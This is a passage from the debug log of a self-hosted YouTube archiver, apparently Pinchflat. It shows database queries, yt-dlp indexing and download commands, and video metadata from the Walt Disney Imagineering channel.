INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:55:12.596 [debug] QUERY OK source="media_items" db=0.3ms idle=11.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:55:12.596 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:12.597 [debug] QUERY OK source="settings" db=0.1ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:12.597 [debug] QUERY OK source="settings" db=0.0ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:12.600 [debug] QUERY OK source="media_items" db=2.8ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [2] 18:55:12.608 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 18:55:12.608 [debug] Current batch of media processed. Will check again in 1000ms 18:55:12.609 [debug] QUERY OK source="settings" db=0.1ms idle=12.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:12.609 [debug] QUERY OK source="settings" db=0.1ms idle=12.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:12.609 [debug] QUERY OK source="settings" db=0.0ms idle=11.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:12.609 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@waltdisneyimagineering --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/48/e9/48e98427a3d8167bd15d07ff2ff9b028f7b12fd1acaf221eaa11396f67bf4153.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b0/46/b0462584a890c6bafced45280da133cf7bcd0f06904175d3c01a47a2c4539bc2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:55:13.609 [debug] Current batch of media processed. Will check again in 1000ms 18:55:14.610 [debug] Current batch of media processed. Will check again in 1000ms 18:55:15.611 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ What makes this special?\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n🎭 Three Stages in ONE Theater?! → \u00A0\u00A0\u00A0•\u00A0How\u00A0Does\u00A0Disney\u00A0Do\u00A0This\u00A0-\u00A0Three\u00A0Stages\u00A0in\u00A0...\u00A0\u00A0\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "filename" => "/downloads/Walt Disney Imagineering/2026-03-24 Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration/Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration [xX48Eo_uC9c].NA", "id" => "xX48Eo_uC9c", "original_url" => "https://www.youtube.com/watch?v=xX48Eo_uC9c", "playlist_index" => 1, "title" => "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "upload_date" => "20260324"} 18:55:15.612 [debug] QUERY OK source="sources" db=0.2ms idle=1913.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:15.612 [debug] QUERY OK source="sources" db=0.2ms idle=1913.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:15.613 [debug] QUERY OK source="media_items" db=0.5ms idle=1914.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 00:00:00Z], 2] 18:55:15.616 [debug] QUERY OK source="media_items" db=2.1ms idle=1026.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ What makes this special?\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n🎭 Three Stages in ONE Theater?! → \u00A0\u00A0\u00A0•\u00A0How\u00A0Does\u00A0Disney\u00A0Do\u00A0This\u00A0-\u00A0Three\u00A0Stages\u00A0in\u00A0...\u00A0\u00A0\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "92859be4-dd7b-437a-914b-ea7c749ecfa6", "xX48Eo_uC9c", "https://www.youtube.com/watch?v=xX48Eo_uC9c", false, false, 1, "/downloads/Walt Disney Imagineering/2026-03-24 Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration/Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration [xX48Eo_uC9c].NA", false, false, 2, [], 98, ~U[2026-03-24 00:00:00Z], ~U[2026-03-30 22:55:15Z], ~U[2026-03-30 22:55:15Z], "Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ What makes this special?\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n🎭 Three Stages in ONE Theater?! → \u00A0\u00A0\u00A0•\u00A0How\u00A0Does\u00A0Disney\u00A0Do\u00A0This\u00A0-\u00A0Three\u00A0Stages\u00A0in\u00A0...\u00A0\u00A0\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "xX48Eo_uC9c", "https://www.youtube.com/watch?v=xX48Eo_uC9c", ni (truncated) 18:55:15.617 [debug] QUERY OK source="sources" db=0.2ms idle=28.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:15.617 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:15.617 [debug] QUERY OK source="media_items" db=0.2ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 18:55:15.617 [info] Kicking off download for media item #12518 (xX48Eo_uC9c) 18:55:15.619 [debug] QUERY OK source="tasks" db=0.3ms idle=1.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1719, 12518, ~U[2026-03-30 22:55:15Z], ~U[2026-03-30 22:55:15Z]] 18:55:15.619 [debug] Current batch of media processed. Will check again in 1000ms 18:55:15.625 [info] {"args":{"id":12518},"id":1719,"meta":{},"system_time":1774911315625204839,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:55:15.625 [debug] QUERY OK source="media_items" db=0.1ms idle=7.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 18:55:15.625 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:55:15.626 [debug] QUERY OK source="sources" db=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:15.626 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:15.626 [debug] QUERY OK source="media_items" db=0.2ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 18:55:15.627 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 18:55:15.627 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:15.627 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.628 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.628 [debug] Running yt-dlp command for action: get_downloadable_status 18:55:15.628 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.628 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.629 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:15.629 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/cc/06/cc0647d11a9d504558b7802fe64fbb3773b4264001b0caa86fc9e8e44b73ac18.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:55:16.620 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "filename" => "/downloads/Walt Disney Imagineering/2026-03-17 